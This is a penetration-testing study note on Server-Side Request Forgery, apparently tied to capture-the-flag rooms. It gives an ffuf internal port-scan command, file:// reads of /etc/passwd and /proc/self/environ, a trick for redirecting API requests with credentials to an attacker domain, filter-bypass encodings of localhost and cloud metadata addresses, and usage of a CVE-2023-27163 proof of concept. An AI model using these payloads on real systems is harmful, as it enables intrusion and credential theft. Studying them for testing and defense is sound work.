Server-Side Request Forgery (SSRF)

server_side_attacks ssrfqi testingforssrf server_side_request_forgery

Server-Side Request Forgery (SSRF) is an attack in which a hacker can make a server request something from another server, usually an internal server or an API.

From instance, a website using an API. If there is a SSRF vulnerability, the hacker may be able to query the API by exploiting the website.

Common attack vectors

  • πŸ“š Headers (mostly User-Agent)
  • πŸ“„ Forms (internal API calls)
  • πŸͺ Cookies
  • 🌍 Remote connections (imports, file processing, etc.)

Common usages are:

  • Port mapping
  • Firewall by-pass
  • Steal sensitive data

There are two kinds of SSRF

  • Regular/in-band SSRF: the client will see the result
  • Blind/out-band SSRF: nothing is returned to the client

Refer to request grabber to catch requests.


Common payloads

Forms

server_side_attacks ssrfqi

A common scenario is a PHP call to file_get_contents to access a remote file. You have similar functions in other languages.

Mapping ports/services πŸ—ΊοΈ

You may inject URLs such as http://localhost:22 to test if the port 22 is open. You could also make the server call http://ifconfig.pro/ to get some information (IP, DNS...).

$ seq 1 65535 > ports.txt
$ ffuf -w ports.txt -u 'http://IP/?xxx=http://127.0.0.1:FUZZ' -fr 'Connection refused'

Steal files πŸ’°

You may inject URLs to steal a file. For instance, a URL using the file protocol: file://some/file/on/the/target.

  • /etc/passwd
  • /proc/self/environ

You could also try to connect to your FTP server using ftp://.

URL

ssrfqi

Access another untended path βœ‚
a?api=path $\to$ b/path

In that case, you could guess that the first server A is mapping the value given to api to the server b. You may try to inject the path, and see if you can access other API routes.

Steal API credentials πŸ—οΈ
a?api=xxx&r=path $\to$ xxx.b/path

If the programmer is using user input to determine which server will be queried, then the hacker may try to send the request to their servers instead, and get the API credentials inside the headers.

For instance, with the api=xxx, a normal request could be sent to xxx.thebestapi.com/path. But, if a hacker uses api=malicious_website.com?&ignore=, then the URL crafted is malicious_website.com?&ignore=.thebestapi.com/path. Notice that the request is now sent to another website, and the concatenated domain name is now the value of ignore.


Mitigations πŸ›‘οΈ

ssrfqi

Allow List/Whitelist

It's usually the better way. But, if there is a condition like the URL must start with https://example.com, then it can be bypassed with https://example.com.malicious.website.

Others

  • Check that the resource type is what was expected
  • ...

Deny list/Blacklist

You may allow every IP aside from some such as localhost (127.0.0.1), or 169.254.169.254 in a cloud environment, but there are usually a lot of ways to bypass such filters.

For instance, 0, 00, 000[...]0, 0.0.0.0, 127.1 (IP shortening), 2130706433 (decimal), 017700000001 (octal), and many more such as 127.0.0.1.nip.io/localtest.me are all resolving to 127.0.0.1.


Example CVEs

CVE-2023-27163

sau

CVE in request-baskets. POC (shell script) (0.02k ⭐).

$ ./CVE-2023-27163.sh http://target:port http://listener:port 
Creating the "<backet>" proxy basket...
Basket created!
$ curl http://target:port/<backet> # send to listener

It can be used to access a resource behind a firewall.

$ ./CVE-2023-27163.sh http://target:port http://target:port2 

πŸ‘» To-do πŸ‘»

Stuff that I found, but never read/used yet.

Other attack vectors

  • avatar form
  • a script
  • a header
  • ...
  • Blind SSRF (requestbin/burp collaborator)